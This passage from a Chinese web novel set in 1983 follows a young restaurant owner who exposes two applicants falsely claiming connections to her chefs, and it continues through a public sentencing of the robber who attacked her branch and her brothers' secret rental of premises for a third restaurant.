回家的路上,大儿媳使劲戳丈夫。 “你去和你爸说,让你爸把我侄子招进去,听见了没?” 大儿子苦着脸说:“我爸那个人你又不是不知道,老顽固一个,谁说得动他?” 大儿媳恨声道:“我就不信了,你当儿子的开口,你爸还能不答应?他以后养老还得靠你呢!” 大儿子没说话,心想他爸现在能挣钱,家里多的是愿意给老头养老的,不缺他这一个。 不过他一向怕老婆,什么都没说。 大儿媳以己度人,她娘家哥哥在家里说话份量就很足,老两口年纪越大就越听儿子的。 冯老头虽然有点固执,可要是亲儿子开口,他总不至于像对待她这个儿媳似的,不拿儿子说的话当回事儿吧? 日子一天天地过,在有意的误导与无意的误会中,学徒面试的时间到了。 第98章 第98章谁是关系户 学徒面试的那天,煤矿人家门口排出了一条长长的队伍。 来报名学徒的大多是十几岁的年轻人,初中毕业后没继续上学,也找不到合适工作,一时间闲在家里,要么去帮闲打零工,挣几个零花钱;要么在街面瞎混,晃悠一天是一天。 如今煤矿人家招学徒,虽然工资不高,但店里包吃,还能和国企退休的老师傅学手艺,不少年轻人立刻动了心思。 他们还年轻,有的是力气,也有的是雄心壮志,不怕累也不怕苦,只怕看不到希望。 如果能做厨师学徒,至少未来有一条明确出路,有一身能养活自己的本事,足以自立于人世间。 来面试的除了这些年轻人,还有一些年纪比较大的中年人。 他们大多已经成家,脸上有着风霜的痕迹,手指粗糙,沉默而内敛。虽然衣着破旧,但尽力收拾整齐,维系仅有的尊严。 人到中年还没有工作,没有稳定收入来源,需要从最底层的学徒做起,说起来不是不心酸。 然而,他们至少还有从头出发的勇气,让人很难不去敬佩。 队伍中,年轻人显得躁动而活跃,前后的人互相攀谈起来。 “待会儿不会要考做饭吧?哎,你会做饭吗?” “我不会,不过没关系,不会可以学嘛。” “既然是招学徒,店里总不会指望学徒能干厨师的活儿。” 饭店关门面试,出来一个人,服务员就叫下一个人进去。速度不算快,五分钟一个人,队伍后面的人要等待的时间还挺长。 有人不耐烦,翻出随身携带的扑克牌,招呼大伙儿来打升级。 “来来来,三缺一,还有谁要来?” 打牌的和围观的多是年轻人,席地而坐,吆三喝四地打起了扑克。 也有人拽住面试结束的人,打听里面的考官都考了些什么问题。 第一个人推脱说家里有事,急匆匆就离开了。 第二个人脾气老实,是个憨厚的大个子,别人问什么,他就说什么。 “没考啥,都挺简单的,就问我以前干什么的,我家住哪儿,家里有几口人,平时都在干啥,有什么爱好,喜欢吃啥……也就这些了。” 围过来的听众都很惊讶:“就只问了这些啊?师傅没考考你的厨艺?” 大个子说:“有啥好考的,再说就算考了,我也不会做饭啊。” 众人有些怀疑,难不成这面试这么简单的吗? 大伙儿就算没吃过猪肉也见过猪跑,听说国企食堂招个人要过五关斩六将,专业水平过硬还不够,关系背景也得过硬。 两手都要抓,两手都要硬,不然就算能拿萝卜做出人参味儿,也不会被录取。 轮到个体户小饭店,每一分钱的工资都是从老板腰包里掏出去的,总不会比国企食堂还好进吧? 之后陆陆续续又出来了几个面试结束的人,他们的回答大同小异,都是说师傅们只问了一些无关紧要的小事,没考厨艺什么的。 一个人可能撒谎,当所有人都这么说, 那就是事实了。 众人诡异地安心了。 随着面试队伍不断向前推进,打扑克的人换了几轮。 打扑克的位置围得里三层外三层,最外圈的人踮着脚往里看,看到牌桌上有人运气差,摸到一手臭牌,围观群众比当事人表现得还遗憾。 “哎呀,这手气臭的,我来我来!” 一般人打上几把扑克后,稍微过过瘾,就自觉起身,让开位置,让其他人上场玩一会儿。 也有人赖着不肯走,占着牌桌上的位置,不让别人玩儿。 偏偏这人手气差,打牌技术更差,把把都输,坑得对家一脸血。 对家输急了,气得把手上的牌一摔,骂道:“你会不会玩儿?妈的,不会就让开,赶紧换人!” 占着位置不走的人也输红了眼,怒道:“我看是你不会玩儿!谁让你出对五的!你要是不出,这一把不就赢了吗?!” 对家反骂:“你还有脸说我,从你手上一次就丢了八十分,换谁来也赢不了!” 两个人站起来互骂,嘴上骂得不过瘾,还要动手互殴。 旁边的人急忙劝架,打个牌而已,也没输钱,不至于发这么大的火气。 两个人被大伙儿隔开,占位置的人胳膊短打不着,被对方反过来打了好几下,气得跳着脚骂; “就你还想做学徒,我告诉你门儿都没有!饭店厨师是我嫡亲的表姑父,他一句话就让你滚蛋!” 听到这人的话,众人皆有些惊讶,没想到排队的人群中居然还藏着个关系户。 不过倒也不算稀奇,这年头去国营菜场买菜都得有关系,何况是找工作。 对家不服气,反唇相讥道:“还嫡亲表姑父,八竿子打不着的亲戚也好意思拿出来说,人家还不一定认不认识你呢!” 占位置的人被骂得既生气,又心虚。 煤矿人家的厨师曹师傅是他姨夫的姐夫的姐夫,他喊一句表姑父,算得上是强行拉关系。实话实说,人家确实也不认识他…… 不过家里说已经找人和曹师傅说好了,面试就是走个过场,面完直接去上班。 占位置的人心里有底气,叫嚣道:“你管人家认不认识我,反正这饭店的学徒我是当定了!倒是你,还不一定能不能通过面试呢!” 对家丝毫不惧,带着几分炫耀地说:“你以为就你认识人?我告诉你,我亲二姨的公公就在这家店当厨师,平时他说的话老板都得听着。面试不过是给老板个面子,这学徒,我是当定了!” 一个是曹家的外甥,一个是冯家的侄子,两个人像是两只斗鸡,狠狠地瞪着对方。 听到队伍里居然有两个关系户,其他人心中一凉。 一共就招两个学徒,现在暴露出来的就有两个关系户,其他没暴露的不知还有多少。 他们这些普通人能从关系户手上抢到这份工作吗? 有人心灰意冷,也不排队了,转身就要走。 旁边的人忙叫他:“哎,下一个就到你了!” 要走的人冷声道:“还有什么可面试的,都已经被关系户内定了,走个过场而已。我们不过是陪太子读书,白白浪费时间!” 其他人听到他的话,也不由得义愤填膺起来。 既然要内定,为什么要搞面试选拔,这不是耍人吗?! 好几个人也从队伍中离开,临走前对着饭店大门啐了一口。 “呸!不要脸!” 更多的人踟蹰不定,既不想放弃这来之不易的工作机会,但也不愿成为被戏耍的陪客。 走,还是留? 交头接耳中,一个年轻女人站了出来,走到饭店门前,敲了敲门。 面对来开门的服务员,她哑着嗓子说:“我有话要问老板,这次面试是不是走过场,是不是已经内定学徒人选了?” 周遭的窃窃私语一停,安静的环境衬得年轻女人的话语格外响亮。 服务员也是个女人,听到对方的话,她微微一愣,再看看等待回答的面试者们,扬声道: “等一下,我去叫老板,请她亲自和大伙儿解释。” 人群中,不知是谁喊了一嗓子:“你怎么不答?是不是心虚?” 有人附和着说:“对啊,你是不是不敢说?你们饭店招人是不是有内幕?” “行了,别为难人了,她就一打工的,你让她说实话,这不是砸人家饭碗吗?” “你别走,倒是说句话啊!” 女服务员没有被这些人的话吓到,沉静地说: “我只是个服务员,即使我告诉你们‘不是过场,没有内定’,你们也会怀疑我说的是不是真的。不如由老板来说,我相信会更有说服力。” 不知是不是被女服务员的话说服了,众人不再喧哗,默认让她去叫老板。 女服务员冲年轻女人点点头,说了句“你稍等”,正要开门进去时,大门却先一步打开。 贺明珠站在门口,看向田润花,问道:“润花姐,你没事吧?” 田润花摇摇头,微微皱眉道:“小老板,他们想问……” 贺明珠止住了她的话,说:“我在里面都听到了。” 田润花出去后迟迟不回来,外面的声音一波大过一波,贺明珠暂停了面试,亲自出来看看情况。 年轻女人上前一步,问贺明珠:“你是这家饭店的老板吧,你能不能和大伙儿解释一下,为什么在场的会有两个关系户?这次面试是不是走过场?” 众人皆静,都等着贺明珠怎么回答。 贺明珠看了一圈人,带着笑说:“我这个老板怎么没听说,我们店里要招关系户啊?” 虽然外壳还是个年轻的姑娘,但换了瓤子后,贺明珠看起来很有压阵的派头,冷静又镇定,举手投足间给人一种极强的信任感。 贺明珠的语调轻松,缓和了现场紧绷的气氛,面试者们不由得放松下来,没有刚才那种剑拔弩张的感觉了。 不知道为什么,虽然是第一次亲眼见到这位名声在外的年轻老板,但却意外地愿意去相信她。 有人喊道:“你是老板,你当然希望自家店好。可厨师和你不是一条心,这俩关系户就是厨师家里的。” 曹家的外甥和冯家的侄子被人群排挤在外,孤零零的两个人,在空地上格外显眼。 两人自知闯祸,引起了众怒,低着头,不敢说一句话。 贺明珠随意看了他们俩一眼,对众人说:“我相信我们店里的两位师傅,他们不会做这种损人不利己的事,更不会滥用职权、招聘关系户。” 有人不信,说道:“贺老板,知人知面不知心,你怎么能确定你们店的厨师就没有私心?要知道政府还有贪|污犯呢!” 贺明珠并不生气,笑眯眯地说:“这个很简单啊,我可以现在就证明给你看。” 她扬声把屋里的冯解放和曹全安叫了出来。 冯、曹两个老头早就听到了外面的动静,心中忐忑不安,直骂自家大儿媳/老婆子不做人,自己都明确拒绝了,她们还背着自己整这出幺蛾子。 他们本来没脸出去见人,更没脸面对信任自己的贺老板,心中连辞职的话都想好了。 但没想到,面对众人的质疑声,贺明珠居然选择了相信他们。 相信…… 多沉重的一个词。 年少无知时很容易将“相信”两个字说出口,可年纪越大,经历的事情越多,就很难对别人说一句“相信”。 有时连自己都无法相信,又何况是别人呢? 可贺明珠相信他们。 她不是不知时事的傻姑娘,相反的是,贺明珠的岁数虽小,却有种超脱年纪的通透,知世故而不世故,有一颗赤诚的心。 只是一句简单的“我相信”,就让两个老江湖心中一酸,随后涌上来的便是汹涌澎湃的“士为知己者死”的万丈豪气。 因此,当听到贺明珠叫他们出来,冯、曹二人毫不犹豫地就走了出来,暴露在众人怀疑、不屑、轻蔑、鄙夷的目光下。 有人压着声音骂:“两个无耻老货,欺负贺老板面嫩……” “年纪挺大了还不要脸,老的小的真是一家子坏种……” 听到这些窸窸窣窣的骂声,冯、曹两位老师傅的脸色渐渐沉了下来。 两人看向被人群围在中间的两个“关系户”,气得鼻子都歪了。 就是这两个蠢货,当着面试者的面炫耀自己是关系户,没当场被群殴算他们运气好。 要不是现在人多,老板也在,冯曹二位现在就想撸袖子上去抽他们一顿。 贺明珠拍拍手,将众人的注意力都吸引过来。 “这两位就是我们店里的厨师,来吃过饭的人可能见过他们,这次招学徒也是给他们两位招的,由师傅们自行挑选学徒,我不做干涉,仅提供一些建议。” 众人不明白贺明珠说这话的意 思,这不是坐实了厨师有权决定学徒人选,面试通过与否都在他们的一念间吗? 就算想招关系户,也就是两个老厨子一句话的事,老板还要怎么解释? 在众人猜疑、不解的目光中,贺明珠冲曹家的外甥和冯家的侄子招招手,让他们过来。 两人不知她是什么意思,磨磨蹭蹭地走了过去。 贺明珠和蔼地说:“你们找的关系应该就是两位师傅之一吧。我有一个主意,如果你们能认出是哪位师傅介绍你们来当学徒,我就额外增加名额,让你们可以作为计划外的人选来上班。” 听到贺明珠的话,两个关系户先惊后喜,而其他人就出离愤怒了。 “这是搞什么?!” “刚刚说得那么好听,不还是要招关系户吗!” “哼,这店全靠厨师撑着,要是没了这俩老厨子,我看过不了一天就得关门!” “不能得罪厨子,就得罪我们是吧?我算是看出来了,什么老板,不过是徒有其名!” 人群哄地吵了起来,有人去拉年轻女人:“走,没必要待在这儿,太欺负人了!” 年轻女人却说:“我不觉得老板会是这种没有原则的人,先等等。” 两个关系户此时顾不上其他人是什么看法了,喜不自禁地凑上前,开口就要指认自己是托了谁的关系。 “我是曹师傅介绍来的,曹师傅……” 说到这,曹全安小舅子的小舅子的外甥忽然卡了壳,眼睛在两个老头之间犹疑不定。 “曹师傅就是,是……” 他左看右看,瘦老头冷冰冰地盯着他,胖老头恶狠狠地瞪着他,哪个看起来都不像是自己人。 到底哪个才是曹师傅…… 看到他迟疑的动作,人群渐渐安静下来,并意识到了什么。 曹家的外甥头上冒出了汗,他是真没见过曹全安,光从家里大人口中听过几句只言片语,只知道这人脾气差,不好说话,出了名的没人缘。 可现在他面前站着两个老头,看起来脾气都不好,都不像是人缘好的。 人群中,开始有人嘀咕:“他该不会是不认识人吧?” “不至于吧,托关系当学徒,总不能师傅长什么样都不知道吧?” “是不是假的关系户?” 隔着双重小舅子,他家和曹家完全没走动,连门都没认过,压根就不知道曹全安长什么样。 曹家的外甥急得脸都红了,一双眼睛在两个老头间来回转,指望对方给他点儿暗示。 家里不是说已经和曹老头说好了吗?怎么他都没反应? 贺明珠催促道:“快点,其他人还等着呢,再认不出来就算你输。” 曹家的外甥一咬牙,指着冯解放说:“就是他!他就是曹师傅!” 一旁围观的田润花急忙将脸转过去,差点没忍住笑出声。 曹全安铁青着脸,冯解放也没比他好到哪儿去。 轮到冯家的侄子,他毫不犹豫地指着曹老头说: “这是冯师傅,我二姨的公公,小时候还抱过我呢。” 面试者中,有人之前来过煤矿人家吃饭,听到两个关系户的话,忍不住说道: “一矿的厨师不是姓冯吗?挺瘦的一个老头,我应该没记错啊。” 旁边有人附和:“是没记错,冯师傅的小炒做得一绝,我们家每次来吃饭都要点。” 即使是反应最慢的人,这会儿也发现了问题所在。 “所以那俩关系户压根连正主都不认识?这叫什么事儿啊……” 在众人瞩目中,贺明珠笑眯眯地揭了盅。 “全错!” 两个关系户的脸刷地一下就变白了。 “我向各位介绍一下,左边的是一矿店的厨师长,冯解放,冯师傅;右边是分矿店的厨师长,曹全安,曹师傅。” 这下事情全部清楚了。 所谓“关系户”不过是打着冯、曹两位师傅的旗号,实际上并不认识他们本人;两位厨师也从来没答应过要招他们当学徒。 一场纷争消弭于无形中,经过这一场风波,面试者们更积极地去表现自己,希望能留下工作。 毕竟老板亲自认证没有抢名额的关系户,要是再不好好表现,岂不是浪费了这次机会? 最后定下的学徒中,一个是年轻女人,另一个是憨厚大个子。 曹全安原话是“我就喜欢没心计的老实孩子”,带着大个子去了分矿。 冯解放则挑了年轻女人做学徒,看中她敢于当场站出来质问老板的勇气。 年轻女人名叫杨冬梅,十五岁的时候响应中央号召,去北大荒插队。 当时北大荒还是一片荒原,没有被改造成如今的东北粮仓,知青的生活非常艰苦。 有时候知青点断粮,他们就偷着吃喂马的豆饼,粗粝而难以下咽。即使这样,还是填不饱肚子,经常饿着去山上伐木头。 由于当地冬天极端低温,加上缺少保暖衣物,杨冬梅的左手小指被冻掉一截,脚趾也缺了几个。 不过在东北的冰天雪地中,她性格中坚韧的那一面显露出来,再苦再累也不抱怨。 在她和战友的奋斗下,十年时间,北大荒变成了北大仓。 后来知青农场的人陆陆续续都离开了,她也返乡回城,但同一时间内回城知青太多,落实了户口和粮食关系,没能落实工作。 杨冬梅不愿意在家闲着,四处找零工,干活挣钱。 有人给她介绍对象,但由于她手上有残疾,介绍给她的对象多多少少也有些问题,不是家暴打跑了老婆,就是老婆难产死了,家里五六个孩子急等着有人来带。 杨冬梅有傲气,不愿意依附男人生活,更不愿意做家庭的奴隶。 她一边打零工,一边找正式工作。 当煤矿人家招学徒的消息传来,她立刻就前去报名,并早早来到面试现场,最终成功成为一名有着稳定工作、每月挣工资的学徒。 有人不理解冯解放为什么要招一个年轻女人做学徒,一些被刷下来的人心有不甘,故意传了些恶心人的话。 冯解放对贺明珠说:“厨师是个辛苦活儿,没点儿毅力坚持不下来。我年纪大了,不想培养到一半,徒弟受不了跑了。小杨是位很坚毅的女同志,我相信她能坚持下来。” 贺明珠认可他的话。 女人天生更能忍痛,女人天生也更能忍耐。在严酷环境中,有蛰伏下来以待春暖花开的残酷毅力。 所有关于某个职业不适合女人的话,不管是厨师,还是后世的程序员,都是扯犊子。 没有不适合某个行业的性别,只有不适合的性格。 贺明珠相信,在未来,这位缺了根手指的女厨师会让所有人刮目相看。 1983年8月,随着“严打”的开始,在从严从重从快的指导思想下,矿务局召开了公审大会。 这次公审的对象是通缉犯洪某,这是他被逮捕后第一次出现在公众视野中。 第99章 第99章第三家分店 公审大会在火车站前的广场举办。 当天,所有人争前恐后地去广场上抢一个前排好位置,一时间,万人空巷。 贺明珠也去了现场。 不过她是被邀请参加的,来亲眼见证被她 抓住的通缉犯的最终下场。 贺小弟跳着脚说:“我也要去,我也要去!” 贺明国斥道:“小孩子去什么,回头吓到了,晚上又要夜惊。” 贺小弟小时候就夜惊过,整夜整夜地哭嚎,怎么安抚都不行,哭得小脸通红,喘不上气。 实在没办法,贺母这个老党员一抹脸去找了神婆,喂了香灰水,枕头下放了朱砂,还在半夜出去叫魂。 说来也怪,贺小弟还真就不再闹了,一夜安稳睡到天明。 贺明国当年经历过贺小弟夜惊,说什么也不肯让他去公审大会,生怕再惊到这小子。 亲妈没了,他这个当大哥的叫魂也不知道管不管用,还是先预防吧。 贺小弟劝不动大哥,转头找贺明珠撒娇,在她身上扭来扭去。 “姐,带我去吧,我们同学都去了,我也要去~” 贺明珠敲了敲他的脑门,对贺明国说:“要不带上他?小弟今年五岁了,也不算太小,正好去公审大会接受一下法律教育。” 贺明军伤好了,又恢复之前那副混不吝的模样。 “行了老大,你不就是嫌在大街上叫魂丢人吗?要是真惊着了,我替你去。男孩子不能娇养,摔摔打打才长得皮实。” 贺明国说不过弟妹,也不肯松口,齐家红走过来,拍拍他的肩膀。 “没事的,要不我晚上带着小弟睡,万一有什么问题也好及时处理。” 贺明国黑着脸说:“你带睡不就是我带睡,有什么差别?” 徐和平伤愈后就回了自己家,贺家恢复了原本的居住模式,依旧是贺明国齐家红住小屋,贺明军、贺小弟和贺明珠住大屋隔间。 齐家红只是笑眯眯地看着贺明国,直看得他没了脾气。 全家都赞同带小弟去公审大会,少数服从多数,贺明国也只好妥协。 临出门前,贺明珠交上了徐和平,邀请他一起来旁听公审大会。 一行六人到了地方,贺明珠被工作人员带到一个观赏好位置,其他人沾了她的光,也不用在广场上和人挤。 放眼看过去,广场上密密麻麻都是人头。 几辆警车押送犯人到场,几个带着黑色头套、五花大绑的犯人被武警押下车,原本还算平静的人群立刻兴奋起来。 看着下车的犯人,贺明珠以拳击手,突然说了句“糟了!” 贺明军忙问:“什么糟了?” 贺明珠可惜地说:“早知道有这么多的人来公审大会,就该在广场旁边摆摊卖凉粉冰棒绿豆汤,绝对赚钱!” 贺家人:…… 徐和平:…… 面对差点团灭分店的罪魁祸首,你的唯一感想就是没能趁机摆摊赚一笔真遗憾吗? 只有年纪最小的贺小弟拍着手说:“我姐真聪明!” 贺明国艰难地咳了两声,转移话题:“不说了,先听听法院要怎么审判。” 犯人们被押送到广场前方的高台上,面朝主席台站成一列。 他们被指头粗的麻绳捆着,脖子上挂了块写着“杀人”、“抢劫”、“**”等罪名的大号纸牌。黑色头套被摘下来,露出剃得露出青茬的光脑袋。 大部分犯人的表情畏惧麻木,低头看地,不说不动,像是在枪决前,灵魂就已经堕进地狱。 其中一个头上裹满了绷带的犯人格外显眼。 他神经质地抖动双腿,头上的绷带洇出红红黄黄的粘液,看不出脸,只露出一双癫狂的眼睛。 押送他的武警战士低声呵斥,他却无动于衷,依旧疯狂抖腿,甚至开始挣扎身体。 一个武警按不住他,马上又来了两个武警,协助按着绷带犯人的胳膊和肩膀,将他牢牢压下去,被迫躬下了上半身。 公审大会的流程进展很快,法官一个接一个地宣判,当轮到绷带犯人时,法官宣判道: “犯罪嫌疑人洪某涉嫌故意杀人罪、抢劫罪……依法被判处死刑!” 当听到了犯人名字,原来绷带男正是在分店抢劫杀人未遂的通缉犯。 贺明军专注地听着审判,贺明国畅快地笑了起来:“好,死刑,判得好!” 徐和平下意识按住肩上伤口的位置,露出一脸大仇得报的表情。 公审大会结束后,犯人们被押上了开往枪决现场的刑车。 其他犯人腿软到走不动路,被武警们架着双臂,塞进了车里。 当轮到通缉犯时,他是少有的几个能自己走路的犯人。 趁着上车的空挡,他突然挣脱武警的手,挣扎着冲围观人群吼道: “死就死,老子十八年后又是一条好汉!” 众人皆惊,几个武警战士一拥而上,费尽力气才将他塞进车里。 对于这种连死都不在乎的悍匪,人们一时无言,不知道要说什么,甚至还有几分莫名的畏惧。 这时,一道清亮女声响起。 “他没机会了。” 贺明珠摸摸贺小弟的头,平静地说:“下辈子他要还敢抢到我头上,我照样送他上刑场。” 一番话说得其他人都笑了起来,气氛顿时一松。 贺明军说:“那我就再拿锅砸他一次。” 徐和平则说:“那我下次要反击,也该轮到我捅他一刀。” 贺明国想了想,说:“那我就守在饭店门口,一看到他就马上报警,不给他伤害你们的机会。” 齐家红抿着嘴笑:“我和你一起守着。” 贺小弟年纪小,听不懂大人的话,但看大家都说说笑笑,也跟着傻乐起来。 八月就要过去了,贺明珠收到矿务局一中的录取通知书,即将开始高中学业。 贺明军和徐和平的伤好得差不多,但现在两家店都没了他俩的位置。 被迫失业的厨师和服务员无处可去,又被贺明珠勒令要至少修养三个月,只好凑在一起怀念有班可上的美好生活。 两个大聪明灵机一动,决定背着贺明珠开一家新的煤矿人家,这不就有工作了吗? 说干就干,贺明军和徐和平联系各自人脉,在矿务局寻找合适的房子。 与此同时,矿务局一中开学,在度过两个月的暑假后,贺明珠开始了第二次的高中生涯。 她临时抱佛脚冲刺了一波,中考成绩不算高,擦着分数线的边考进了一中,因此被分到了最差的一个班。 班主任是个干瘦老头,头发花白,戴着副眼睛,佝偻着背,脸上总是带着过分谦卑的笑,说话唯唯诺诺。 班主任姓周,人称老周,不管是同事,还是学生,有人喊他“老周”时,周老师就带着他那副特有的谦卑笑容回应。 过分的好脾气,也让他在学生中没能树立起威信。 在班主任的课堂上,班里同学做什么的都有,睡觉,聊天,看小说,打扑克。 下面乱成一锅粥,周老师站在讲台上,带着谦卑的笑,自顾自地讲课、板书,拿着粉笔的手指上都是白灰。 高中刚开学,不少学生对考大学抱有雄心壮志,见班主任如此无能,不免凑在一起抱怨。 “老周怎么搞的,还是班主任呢,学生都管不住,要他有什么用。” “哎,全校中考成绩最差的人都在这儿,一中已经放弃我们班了吧…… ” “这不是歧视吗?谁说中考分数不高就一定考不上大学了?就不能给我们班换个班主任吗?” “班里天天这么闹腾,我还想好好学习呢。” 有人消息灵通,八卦道:“你们不知道吧,老周以前可不是这样,听说对学生是出了名的严厉。后来他被打成老右,拉到街上批斗了好几回,还差点被他当红小|将的学生给打死,这才改了脾气,变成现在这副模样。” “算他活该,就他现在这副德行,我都想拿皮带抽他。” “那你得尽早抽,听说老周家里有海外关系,说不准什么时候就出国了。” 贺明珠在旁边收拾书本,听到他们越说越不像话,忍不住开口说道:“老周毕竟还是老师,你们也别太过分。” 说话的同学尴尬地笑笑:“开个玩笑,就随便说说。对了,贺同学,你们家饭店什么时候开到矿务局啊?每次想吃都要专门去一趟一矿,太不方便了。” 作为全校风云人物,当同龄人还在和家里伸手要钱时,贺明珠已经开了两家饭店,还抓住了通缉犯,在矿务局可以说是无人不知无人不晓。 要不是贺明珠的中考成绩实在惨不忍睹,一中校领导很认真地考虑过让她上台代表新生发言。 这并不影响她在学生中的人气,如果高中领导是全校选举决定的话,贺明珠绝对会高票当选校长。 对于同学的问题,贺明珠想了想,说:“在矿务局再开一家新店吗?也不是不行啊。” 听到贺明珠的话,同学们纷纷激动起来。 “新店开在学校对面吧,这样每天下学就能去!” “好主意,食堂的饭太难吃了,如果你们家的店开在学校门口,我不会再给食堂交一张粮票!” 有的同学手上零花钱不多,就商量道: “能不能菜量减半,价格也减半啊?或者推出一些物美价廉、适合学生买的菜?” 贺明珠笑眯眯地听着,说:“好,我都知道了,我回去就做个可行性分析。” 同学们:……啊?什么是可行性分析? 晚上回家,贺家人和徐和平围在桌前吃饭时,贺明珠突然提起:“在矿务局开家新店,你们觉得怎么样?” 贺明军正专心对付面前的炸小鱼呢,闻言呛了一下,差点被鱼刺卡到喉咙。 徐和平筷子没拿稳,当啷一声掉在了桌下,慌得他急忙弯腰去捡。 贺明军痛苦地把鱼刺咳出来,边咳边说:“咳咳咳……你怎么想起要开分店?” 贺明珠一手撑下颌,沉吟道:“总觉得如果没有抢先占领市场,会很浪费……” 具体浪费什么,她没说出来。 “但如果过快扩张,又担心会把目前良好的局势崩坏,毕竟,不管是人员还是经验,还在磨合中;资金也没有充裕到可以肆意花销的程度。” 贺明军以为贺明珠知道他和徐和平私下的小动作,和徐和平对视一眼,有些心虚地说: “新店……新店挺好的,现在煤矿人家名气这么大,大家都想尝尝咱们店的菜,要是没把握住机会就可惜了。” 徐和平补了一句:“我发现这半年里,矿务局开了不少小饭店,也有不少人出来摆摊,虽然暂时还比不上咱们店,可总有一天会超过我们。一矿店离得太远,如果我们不尽快在矿务局开店,迟早有一天顾客会被抢走。” 贺明珠敲敲桌子:“你们说得有道理,但人手从哪儿来,更重要的是,要去哪儿开店呢?” 听到贺明珠松了口,贺明军一激动,就把实话秃噜了出去。 “人手不是有我和徐和平吗?店面的事你也不用担心,我们都选好了,订金都交了!” 贺明珠眼神一凝:“哦?订金?” 贺明军这才意识到自己说出了什么,懊悔地一巴掌拍到脑门上。 贺明国慢一拍反应过来:“你们又要开新店了?忙得过来吗?这才过了几个月,就要开第三家店了啊?” 贺明珠微笑道:“我也不知道我们要开第三家店呢,不如问问二哥、和平鸽。” 她转头看向贺明军和徐和平,笑得温柔极了: “二哥,和平鸽,你们的伤势已经完全痊愈了吗?真是,可,喜,可,贺。” 可喜可贺四个字被她咬牙切齿地念出来,每说一个字,贺明军和徐和平的脖子就往下缩一寸,差点连脑袋都缩进衣领里。 贺明军干笑两声:“那什么,闲着也是闲着,就找点事干,开个新店打发一下时间……” 徐和平点头如捣蒜,连声附和:“对对对,我们俩闲不住,稍微做了那么一点新店开业前的微小工作而已……” 贺明珠放下筷子,推开碗,和蔼可亲地说:“来说说吧,你们背着我都干了什么?” 贺明军用眼神疯狂示意徐和平上前答话,徐和平才不干,用眼神反催贺明军,两个人无声地厮杀起来。 徐和平:那可是你亲妹妹! 贺明军:但开新店的事可是咱俩一起干的! 贺明国左右看看,疑惑道:“啊?开新店有什么问题吗?” 齐家红给贺明国碗里夹了一块烧茄子,温柔地说:“吃饭,快吃饭,吃完早点回屋休息。” 这一晚,也不知贺明珠对贺明军徐和平说了些什么,总之,第二天,两个人又蔫又亢奋地出了门,对视一眼,皆是心有戚戚焉。 第三家分店开业的事就这么提上了日程。 新店的店面是徐和平找到的,他通过熟人了解到某个国营单位效益不好,要将办公楼临街的一楼租出去。 这单位虽然现在的经营情况不怎么地,但当初也是富过的,办公楼盖在了矿务局核心区域,位于两条主干道的交叉处,人流量非常大。 门面房的面积有三百多平,原来被分隔成了数间办公室,现在除了承重墙以外的隔墙都被拆掉,一整层都被打通,看着宽阔极了。 这样好的地段,这么大的面积,店面的租金也是相当可观,每月三百块钱,相当于普通工人半年的工资。 在贺明军和徐和平之前,租过这套门面的大多是一些皮包公司,租赁期一个月到三个月不等,主打一个骗完就走,卷钱就跑。 次数多了,这套门面房的名声也被带臭了,矿务局的人都知道在这地办公的都是些骗子公司。 因此,门面虽好,但没有接盘侠,已经空置了好几个月。 当徐和平被熟人带过来,说想租这套门面时,这家单位的联络人激动极了,二话不说就同意,甚至都没要求看徐和平的身份证和介绍信。 贺明军提醒一句:“我们租了是做饭店的。” 联络人热情道:“饭店好!我们这儿就缺饭店!” 贺明军再次提醒:“我们店是个体户开的。” 联络人热情不改:“个体户好!响应国家政策!” 贺明军:…… 他算是看出来了,只要肯掏钱租房,管他是开饭店还是个体户,通通都不介意。 因为是背着贺明珠租房,贺明军和徐和平把两人的全部积蓄都拿出来付了订金,并签了租房合同。 徐和平下笔签名前有点犹豫:“咱俩的钱都花光了,下个月的租金怎么办?” 贺明军豪迈道:“钱没了再赚,只要饭店开起来,那点租金算什么事!” 徐和平一想,对啊,只要饭店开业,一天的营业额就能把租金赚回来,完全没压力啊。 两个大聪明就这么愉快地在合同上签了大名,摁下红通通的手印。 当两人拿到钥匙,来到这套门面房,站在空荡荡的大厅,忽然意识到他们遗忘了什么。 贺明军:“厨房呢?” 徐和平:“桌椅呢?” 两个人僵立原地,一股风顺着大门刮进来,卷起地上一张废纸,皮包公司的广告词在空中旋转飞舞——“新型致富方式,不需要店面也能发大财!” 贺明军:…… 不知道为什么,有种被骂了的错觉。 徐和平一把抓住废纸,将其撕了个稀巴烂。 当贺明珠来到三店的店面后,先在店外绕了两圈,看到两条主干道上有不少车辆来往。 虽然车辆的数量还没有达到后世堵车的程度,但和同时期其他道路相比,已经算是非常繁荣了。 再看看周边的环境,有办公楼,有居民区,离一中也不算远。 在后世,这栋小楼所在的区域被推平,在原址上建起现代化的百货商场,成为矿务局的商业中心。 贺明珠看了一圈回来,没说话,径直走进店面里。 贺明军和徐和平忐忑不安地跟在她身后,不知她看到空空荡荡的内部会是什么反应。 没想到的是,贺明珠没有生气,反而仔仔细细在店里看了一圈,从剥落的墙皮,到破了洞、拿报纸遮着的窗户,再到脏兮兮的水磨石地面。 徐和平耐不住,说:“老板,现在看着有点脏,不过没关系,我回头大扫除一遍就好了。” 贺明军也说:“上次二店找木匠做的座椅都不错,我前两天已经和他联系了,只要有木头,他随时都能开工。” 贺明珠观察完毕店里店外,靠着缺腿的办公桌,似笑非笑地看着两位哥哥。 “二哥,和平鸽,你们俩可真会给我制造‘惊喜’。” 贺明军和徐和平心虚,不敢开口,用肩膀你撞我我撞你,疯狂示意对方上去挨骂。 贺明军:看看你找的什么破店面! 徐和平:但你也在租房合同上签字了!还摁手印了! 贺明珠忽然一笑。 “虽然店里 全部都要重新装修,但位置很不错,在这儿开一家饭店的话,客流量一定很大。” 贺明军、徐和平:欸?! 两人先惊后喜,忙问道:“你不生气吗?我们没和你商量就租房开新店,会不会打乱你的计划?没关系吗?” ……你们也知道这会打乱我的计划啊! 贺明珠深深吸了口气,咬牙切齿地微笑:“当然有关系!既然事儿是你们惹出来的,那么这家店的装修和营业就全部由你们负责,我只负责最后的验收。要是验收不通过,我就在最偏僻的矿上开一家店,到时候你们俩都给我过去看店!” 徐和平松一口气:“吓死我了,我以为你要说以后再不许我们吃你做的菜了。” 贺明军也擦了一把头上不存在的汗:“我还以为你要不认我这个二哥了。” 贺明珠:?! 贺明珠试探性地问:“验收不合格的话,要去最偏僻的地方上班哦。” 徐和平爽朗地笑了:“嗨,这算什么,能冒出通缉犯的村子我都待过了,还能有比被杀人犯拿枪指着脑门更恐怖的事吗?” 贺明珠:…… 贺明军说:“放心吧,我知道你想把饭店装修成什么样子,你就等着来验收吧!” 